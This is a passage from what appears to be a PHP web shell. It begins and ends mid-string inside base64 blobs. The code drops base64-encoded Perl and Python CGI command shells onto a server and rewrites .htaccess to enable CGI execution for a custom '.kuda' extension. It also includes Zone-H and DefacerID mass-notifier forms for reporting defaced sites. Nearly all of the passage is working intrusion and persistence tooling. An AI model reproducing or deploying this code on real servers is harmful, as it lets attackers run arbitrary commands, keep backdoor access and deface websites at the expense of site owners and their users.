cmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQokVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KfQ0KDQppZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0Kew0KJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCn0NCmVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQp7DQomUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCn0NCn0NCg0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ307DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQppZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCiZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQomVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KJkRvd25sb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInN5bWNvbmZpZyIpDQp7DQomUHJpbnRQYWdlSGVhZGVyOw0KcHJpbnQgJlN5bUNvbmZpZzsNCn1lbHNpZigkQWN0aW9uIGVxICJoZWxwIikNCnsNCiZQcmludFBhZ2VIZWFkZXI7DQpwcmludCAmSGVscDsNCn0=";
$cgi = fopen($file_cgi, "w");
fwrite($cgi, base64_decode($cgi_script));
fwrite($htcgi, $isi_htcgi);
chmod($file_cgi, 0755);
chmod($memeg, 0755);
echo "<center>Done ... <a href='kuda_cgi/cgi2.kuda' target='_blank'>Klik Disini</a>";
} elseif($_GET['kuda'] == 'cgipy') {
$cgi_dir = mkdir('kuda_cgi', 0755);
chdir('kuda_cgi');
$file_cgi = "cgipy.kuda";
$memeg = ".htaccess";
$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .kuda
AddHandler cgi-script .kuda
AddHandler cgi-script .kuda";
$htcgi = fopen(".htaccess", "w");
$cgi_script = "IyEvdXNyL2Jpbi9weXRob24NCiMgMDctMDctMDQNCiMgdjEuMC4wDQoNCiMgY2dpLXNoZWxsLnB5DQojIEEgc2ltcGxlIENHSSB0aGF0IGV4ZWN1dGVzIGFyYml0cmFyeSBzaGVsbCBjb21tYW5kcy4NCg0KDQojIENvcHlyaWdodCBNaWNoYWVsIEZvb3JkDQojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQgcmVsaWNlbnNlIHRoaXMgY29kZS4NCg0KIyBObyB3YXJyYW50eSBleHByZXNzIG9yIGltcGxpZWQgZm9yIHRoZSBhY2N1cmFjeSwgZml0bmVzcyB0byBwdXJwb3NlIG9yIG90aGVyd2lzZSBmb3IgdGhpcyBjb2RlLi4uLg0KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISENCg0KIyBFLW1haWwgbWljaGFlbCBBVCBmb29yZCBET1QgbWUgRE9UIHVrDQojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsvYXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbA0KDQoiIiINCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8gZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLg0KIiIiDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIEltcG9ydHMNCnRyeToNCiAgICBpbXBvcnQgY2dpdGI7IGNnaXRiLmVuYWJsZSgpDQpleGNlcHQ6DQogICAgcGFzcw0KaW1wb3J0IHN5cywgY2dpLCBvcw0Kc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQNCmZyb20gdGltZSBpbXBvcnQgc3RyZnRpbWUNCmltcG9ydCB0cmFjZWJhY2sNCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPDQpmcm9tIHRyYWNlYmFjayBpbXBvcnQgcHJpbnRfZXhjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgY29uc3RhbnRzDQoNCmZvbnRsaW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQtc2l6ZToxMnB0OyI+Jw0KdmVyc2lvbnN0cmluZyA9ICdWZXJzaW9uIDEuMC4wIDd0aCBKdWx5IDIwMDQnDQoNCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToNCiAgICBzY3JpcHRuYW1lID0gb3MuZW52aXJvblsiU0NSSVBUX05BTUUiXQ0KZWxzZToNCiAgICBzY3JpcHRuYW1lID0gIiINCg0KTUVUSE9EID0gJyJQT1NUIicNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBQcml2YXRlIGZ1bmN0aW9ucyBhbmQgdmFyaWFibGVzDQoNCmRlZiBnZXRmb3JtKHZhbHVlbGlzdCwgdGhlZm9ybSwgbm90cHJlc2VudD0nJyk6DQogICAgIiIiVGhpcyBmdW5jdGlvbiwgZ2l2ZW4gYSBDR0kgZm9ybSwgZXh0cmFjdHMgdGhlIGRhdGEgZnJvbSBpdCwgYmFzZWQgb24NCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFsdWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLg0KICAgIChlLmcuIHRvIHJldHVybiBOb25lIHNvIHlvdSBjYW4gdGVzdCBmb3IgbWlzc2luZyBrZXl3b3JkcyAtIHdoZXJlICcnIGlzIGEgdmFsaWQgYW5zd2VyIGJ1dCB0byBoYXZlIHRoZSBmaWVsZCBtaXNzaW5nIGlzbid0LikiIiINCiAgICBkYXRhID0ge30NCiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0Og0KICAgICAgICBpZiBub3QgdGhlZm9ybS5oYXNfa2V5KGZpZWxkKToNCiAgICAgICAgICAgIGRhdGFbZmllbGRdID0gbm90cHJlc2VudA0KICAgICAgICBlbHNlOg0KICAgICAgICAgICAgaWYgIHR5cGUodGhlZm9ybVtmaWVsZF0pICE9IHR5cGUoW10pOg0KICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdGhlZm9ybVtmaWVsZF0udmFsdWUNCiAgICAgICAgICAgIGVsc2U6DQogICAgICAgICAgICAgICAgdmFsdWVzID0gbWFwKGxhbWJkYSB4OiB4LnZhbHVlLCB0aGVmb3JtW2ZpZWxkXSkgICAgICMgYWxsb3dzIGZvciBsaXN0IHR5cGUgdmFsdWVzDQogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB2YWx1ZXMNCiAgICByZXR1cm4gZGF0YQ0KDQoNCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1zaGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+DQo8Qk9EWT48Q0VOVEVSPg0KPEgxPldlbGNvbWUgdG8gY2dpLXNoZWxsLnB5IC0gPEJSPmEgUHl0aG9uIENHSTwvSDE+DQo8Qj48ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPg0KIiIiK2ZvbnRsaW5lICsiVmVyc2lvbiA6ICIgKyB2ZXJzaW9uc3RyaW5nICsgIiIiLCBSdW5uaW5nIG9uIDogIiIiICsgc3RyZnRpbWUoJyVJOiVNICVwLCAlQSAlZCAlQiwgJVknKSsnLjwvQ0VOVEVSPjxCUj4nDQoNCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIgQ29tbWFuZDwvSDI+DQo8Rk9STSBNRVRIT0Q9XCIiIiIgKyBNRVRIT0QgKyAnIiBhY3Rpb249IicgKyBzY3JpcHRuYW1lICsgIiIiXCI+DQo8aW5wdXQgbmFtZT1jbWQgdHlwZT10ZXh0PjxCUj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+DQo8L0ZPUk0+PEJSPjxCUj4iIiINCmJvZHllbmQgPSAnPC9CT0RZPjwvSFRNTD4nDQplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5nIFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBtYWluIGJvZHkgb2YgdGhlIHNjcmlwdA0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIHByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyDQogICAgcHJpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgc28gaXMgdGhpcyBibGFuayBsaW5lDQogICAgZm9ybSA9IGNnaS5GaWVsZFN0b3JhZ2UoKQ0KICAgIGRhdGEgPSBnZXRmb3JtKFsnY21kJ10sZm9ybSkNCiAgICB0aGVjbWQgPSBkYXRhWydjbWQnXQ0KICAgIHByaW50IHRoZWZvcm1oZWFkDQogICAgcHJpbnQgdGhlZm9ybQ0KICAgIGlmIHRoZWNtZDoNCiAgICAgICAgcHJpbnQgJzxIUj48QlI+PEJSPicNCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJSPicNCiAgICAgICAgcHJpbnQgJ1Jlc3VsdCA6IDxCUj48QlI+Jw0KICAgICAgICB0cnk6DQogICAgICAgICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkNCiAgICAgICAgICAgIGNoaWxkX3N0ZGluLmNsb3NlKCkNCiAgICAgICAgICAgIHJlc3VsdCA9IGNoaWxkX3N0ZG91dC5yZWFkKCkNCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpDQogICAgICAgICAgICBwcmludCByZXN1bHQucmVwbGFjZSgnXG4nLCAnPEJSPicpDQoNCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNvbW1hbmQNCiAgICAgICAgICAgIHByaW50IGVycm9ybWVzcw0KICAgICAgICAgICAgZiA9IFN0cmluZ0lPKCkNCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpDQogICAgICAgICAgICBhID0gZi5nZXR2YWx1ZSgpLnNwbGl0bGluZXMoKQ0KICAgICAgICAgICAgZm9yIGxpbmUgaW4gYToNCiAgICAgICAgICAgICAgICBwcmludCBsaW5lDQoNCiAgICBwcmludCBib2R5ZW5kDQoNCg0KIiIiDQpUT0RPL0lTU1VFUw0KDQoNCg0KQ0hBTkdFTE9HDQoNCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wDQpBIHZlcnkgYmFzaWMgc3lzdGVtIGZvciBleGVjdXRpbmcgc2hlbGwgY29tbWFuZHMuDQpJIG1heSBleHBhbmQgaXQgaW50byBhIHByb3BlciAnZW52aXJvbm1lbnQnIHdpdGggc2Vzc2lvbiBwZXJzaXN0ZW5jZS4uLg0KIiIi";
$cgi = fopen($file_cgi, "w");
fwrite($cgi, base64_decode($cgi_script));
fwrite($htcgi, $isi_htcgi);
chmod($file_cgi, 0755);
chmod($memeg, 0755);
echo "<center>Done ... <a href='kuda_cgi/cgipy.kuda' target='_blank'>Klik Disini</a>";
} elseif($_GET['mirror'] == 'zoneh') {
if($_POST['submit']) {
$domain = explode("
", $_POST['url']);
$nick = $_POST['nick'];
echo "<center>Defacer Onhold: <a href='http://zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://zone-h.org/archive/notifier=$nick/published=0</a></center><br>";
echo "<center>Defacer Archive: <a href='http://zone-h.org/archive/notifier=$nick' target='_blank'>http://zone-h.org/archive/notifier=$nick</a></center><br>";
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
echo "<center>$url -> <font color=lime>OK</font></center><br>";
} else {
echo "<center>$url -> <font color=red>ERROR</font></center><br>";
}
}
} else {
echo "<center><h2>Zone-H Mass Poster</h2>
<form method='post'>
<font color='blue'>Notifier</font>: <br>
<input type='text' name='nick' size='50' placeholder='Mr.xBarakuda'><br>
<font color='blue'>Domains</font>: <br>
<textarea style='width: 450px; height: 150px;' name='url' placeholder='http://lusuka.co.li/'></textarea><br>
<input type='submit' name='submit' value='Submit'>
</form></center>";
}
} elseif($_GET['mirror'] == 'defid') {
echo "
<center><h2>DefacerID Mass Notifier</h2>
<form method='POST' action=''>
<font color='blue'>Attacker:</font> <br><input type='text' name='nick' placeholder='Mr.xBarakuda'><br>
<font color='blue'>Team:</font> <br><input type='text' name='team' placeholder='BabbyCyberTeam'><br>
<font color='blue'>Sites:</font> <br><textarea style='width: 450px; height: 150px' name='sites' placeholder='http://lusuka.co.li/'></textarea><br>
<input type='submit' name='sikat' value='Submit'>
</form></center>";
$nick = $_POST['nick'];
$team = $_POST['team'];
$sikat = $_POST['sikat'];
$url = explode("
", $_POST['sites']);
if($sikat){
echo "<center>Notify with nick [ ".$nick." ] and With Team [ ".$team." ] <br>";
foreach($url as $url) {
$defid = defid($url,$nick,$team);
if(preg_match('#<div class="success-box">#', $defid)) {
echo "<font color='lime'>OK -></font> ".$url."<br>";
} else {
echo "<font color='red'>Error -></font> ".$url."<br>";
echo "</center>";
}
}
}
} elseif($_GET['kuda'] == 'cgi') {
$cgi_dir = mkdir('kuda_cgi', 0755);
chdir('kuda_cgi');
$file_cgi = "cgi.kuda";
$memeg = ".htaccess";
$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .kuda
AddHandler cgi-script .kuda
AddHandler cgi-script .kuda";
$htcgi = fopen(".htaccess", "w");
$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsNCiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7DQoNCiRQYXNzd29yZCA9ICJrdWRhanVtcGluZyI7DQpzdWIgSXNfV2luKCl7DQoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOw0KCWlmKCRvcyA9fiBtL3dpbi9pKXsNCgkJcmV0dXJuIDE7DQoJfQ0KCWVsc2V7DQoJCXJldHVybiAwOw0KCX0NCn0NCiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwMDAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTUwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCg0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KDQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KCXsNCgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyANCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgDQoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07DQoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsNCgkJJEhlYWRlciA9ICRgOw0KCQkkQm9keSA9ICQnOw0KIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyANCgkJJGlueydmJ30gPSAkMTsgDQoJCSRpbnsnZid9ID1+IHMvXCIvL2c7DQoJCSRpbnsnZid9ID1+IHMvXHMvL2c7DQoNCgkJIyBwYXJzZSB0cmFpbGVyDQoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQoJCXsgDQoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsNCgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsNCgkJCSRrZXkgPSAkMTsNCgkJCSR2YWwgPSAkJzsNCgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9ID0gJHZhbDsgDQoJCX0NCgl9DQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpDQoJew0KCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7DQoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikNCgkJew0KCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsNCgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7DQoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyDQojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPSAkQ3VycmVudERpcjsNCgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCW15ICRkaXIgPSRDdXJyZW50RGlyOw0KCSRkaXI9fiBzL1xcL1xcXFwvZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8dGl0bGU+SGFjc3VnaWE8L3RpdGxlPg0KDQokSHRtbE1ldGFIZWFkZXINCg0KPC9oZWFkPg0KPHN0eWxlPg0KYm9keXsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCn0NCnRyIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KY29sb3I6ICNmZjk5MDA7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCmNvbG9yOiAjMkJBOEVDOw0KZm9udDogMTBwdCBWZXJkYW5hOw0KfQ0KDQp0YWJsZSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQoNCg0KaW5wdXQgew0KQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgVmVyZGFuYTsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KDQppbnB1dC5zdWJtaXQgew0KdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KY29sb3I6ICNGRkZGRkY7DQpib3JkZXItY29sb3I6ICMwMDk5MDA7DQp9DQoNCmNvZGUgew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDEwcHQgV